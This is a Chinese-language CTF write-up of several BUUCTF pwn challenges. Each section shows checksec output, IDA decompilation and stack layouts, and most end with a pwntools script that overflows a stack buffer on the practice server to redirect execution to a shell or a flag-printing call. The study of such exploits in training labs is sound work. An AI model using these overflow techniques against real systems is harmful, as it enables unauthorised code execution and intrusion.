rip

检测文件的保护机制

1
2
3
ubuntu@vm:~/桌面$ checksec --file=pwn1
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 64 Symbols No 0 1 pwn1

打开ida可以看到控制函数在fun函数中

exp:

1
2
3
4
5
6
7
8
9
from pwn import *                   #pwntools函数导入
#sh = ./pwn1
sh = remote('node4.buuoj.cn',29452) #连接靶机的服务,需要输入对应的ip地址和端口号
payload = b'a'*0xf + b'a'*0x8 + p64(0x401198) + p64(0x401186) #输入payload来进行操作以拿到程序的shell
#Ubuntu18会有esp检查,p64(0x401198)为让其让esp满足条件
sh.sendline(payload)
#sendline() - 发送带回车符的字符串
#sendline() 和 send() 唯一的区别就是在发送的字符串后面加上了回车换行符.
sh.interactive()

warmup_csaw_2016

检测文件的保护机制

1
2
3
ubuntu@vm:~/桌面$ checksec --file=warmup_csaw_2016
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No Symbols No 0 2

打开ida


发现函数gets(v5),是栈溢出,且v5占用64个位置

exp:

1
2
3
4
5
6
7

from pwn import *
p=remote('node4.buuoj.cn', 27938)
payload=b'A'*64+b'B'*8+p64(0x40060D+1)
p.sendline(payload)
p.interactive()

ciscn_2019_n_1

1
2
3
ubuntu@vm:~/桌面$ checksec --file=ciscn_2019_n_1
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 73 Symbols No 0 1 ciscn_2019_n_1

64位程序,栈不可执行,地址没有随机化

main:

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;

func:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int func()
{
int result; // eax
__int64 v1; // [rsp-30h] [rbp-30h] BYREF
float v2; // [rsp-4h] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(&v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}

main函数调用了func(),func中存在经典gets()漏洞

方法一:地址覆盖

既然题目判断v2的值,那么我们将v2的值覆盖成11.28125即可,首先我们要找到11.28125的16进制表达形式,因为我们构造payload的时不能传入一个float类型

1
2
3
4
5
6
7
8
9
10
11
12
13
.rodata:00000000004007B4 ; const char s[]
.rodata:00000000004007B4 s db 'Let',27h,'s guess the number.',0
.rodata:00000000004007B4 ; DATA XREF: func+11↑o
.rodata:00000000004007CC ; const char aCatFlag[]
.rodata:00000000004007CC aCatFlag db 'cat /flag',0 ; DATA XREF: func+48↑o
.rodata:00000000004007D6 ; const char aItsValueShould[]
.rodata:00000000004007D6 aItsValueShould db 'Its value should be 11.28125',0/*$*/
.rodata:00000000004007D6 ; DATA XREF: func:loc_4006CF↑o
.rodata:00000000004007F3 align 4
.rodata:00000000004007F4 dword_4007F4 dd 41348000h /*$*/ ; DATA XREF: func+31↑r
.rodata:00000000004007F4 ; func+3F↑r
.rodata:00000000004007F4 _rodata ends
.rodata:00000000004007F4

11.28125 = 0x41348000

func:

1
2
3
4
5
int func()
{
int result; // eax
__int64 v1; // [rsp-30h] [rbp-30h] BYREF
float v2; // [rsp-4h] [rbp-4h]

即溢出距离:0x30-0x4

exp:

1
2
3
4
5
from pwn import *
p = remote('node4.buuoj.cn', 26659)
payload = b'A'*(0x30-0x4) + p64(0x41348000)
p.send(payload)
p.interactive()

方法二:利用system(“cat /flag”)

1
2
3
4
5
6
7
8
9
10
int func()
{
puts("Let's guess the number.");
gets(&v1);
if ( v2 == 11.28125 )
result = system("cat /flag"); /*$*/
else
result = puts("Its value should be 11.28125");
return result;
}
1
2
3
4
5
6
.rodata:00000000004007B4 s               db 'Let',27h,'s guess the number.',0
.rodata:00000000004007B4 ; DATA XREF: func+11↑o
.rodata:00000000004007CC ; const char aCatFlag[]
.rodata:00000000004007CC aCatFlag db 'cat /flag',0 ; DATA XREF: func+48↑o
.rodata:00000000004007D6 ; const char aItsValueShould[]
.rodata:00000000004007D6 aItsValueShould db 'Its value should be 11.28125',0

我们可以直接跳过判断,直接通过栈溢出让函数返回执行system(“cat /flag”)

exp:

1
2
3
4
5
6
from pwn import *
p = remote('node4.buuoj.cn', 26659)
sys_addr = 0x4006BE
payload = b'A'*(0x30+8) + p64(sys_addr)
p.send(payload)
p.interactive()

pwn1_sctf_2016

1
2
3
ubuntu@vm:~/桌面$ checksec --file=pwn1_sctf_2016
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 129 Symbols No 0 3 pwn1_sctf_2016

使用ida打开发现主函数是掉用vuln函数,具体内容如下

vuln:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int vuln()
{
const char *v0; // eax
int v2; // [esp+8h] [ebp-50h]
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
char v4[4]; // [esp+3Ch] [ebp-1Ch] BYREF
char v5[7]; // [esp+40h] [ebp-18h] BYREF
char v6; // [esp+47h] [ebp-11h] BYREF
char v7[7]; // [esp+48h] [ebp-10h] BYREF
char v8[5]; // [esp+4Fh] [ebp-9h] BYREF

printf("Tell me something about yourself: ");
fgets(s, 32, edata);
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v6);
std::string::string(v5, "you", &v6);
std::allocator<char>::allocator(v8);
std::string::string(v7, "I", v8);
replace((std::string *)v4, (std::string *)&input, (std::string *)v7);
std::string::operator=(&input, v4, v2, v5);
std::string::~string(v4);
std::string::~string(v7);
std::allocator<char>::~allocator(v8);
std::string::~string(v5);
std::allocator<char>::~allocator(&v6);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);
return printf("So, %s\n", s);
}

观察侧边发现有一个get_flag函数

1
2
3
4
5
6
7
int get_flag()
{
return system("cat flag.txt");
}


0x8048F0D//函数地址

查看栈结构发现s的长度为0x3c,即60个字节,而输入被限制在32个字节内,每个I可以被替换成you,所以输入60÷3=20个I就能让栈溢出,然后db 4 dup(?) 还需要占用4个字节的内存,最后加上get_flag()函数的起始地址0x8048F0D构成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
-0000000C                 db ? ; undefined
-0000000B db ? ; undefined
-0000000A db ? ; undefined
-00000009 var_9 db ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables

exp:

1
2
3
4
5
from pwn import *
p = remote('node4.buuoj.cn', 25314)
payload = b'I'*20 + b'a'*0x4 + p32(0x8048F0D)
p.sendline(payload)
p.interactive()

jarvisoj_level0

1
2
3
ubuntu@vm:~/桌面$ checksec --file=level0
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 69 Symbols No 0 1 level0

main:

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function(1LL);
}

vulnerable_function:

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x200uLL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
-0000000000000080 ; D/A/*   : change type (data/ascii/array)
-0000000000000080 ; N : rename
-0000000000000080 ; U : undefine
-0000000000000080 ; Use data definition commands to create local variables and function arguments.
-0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0 //覆盖buf80个,rbp占用8个
-0000000000000080 ;
-0000000000000080
-0000000000000080 buf db 128 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

覆盖buf80个,rbp占用8个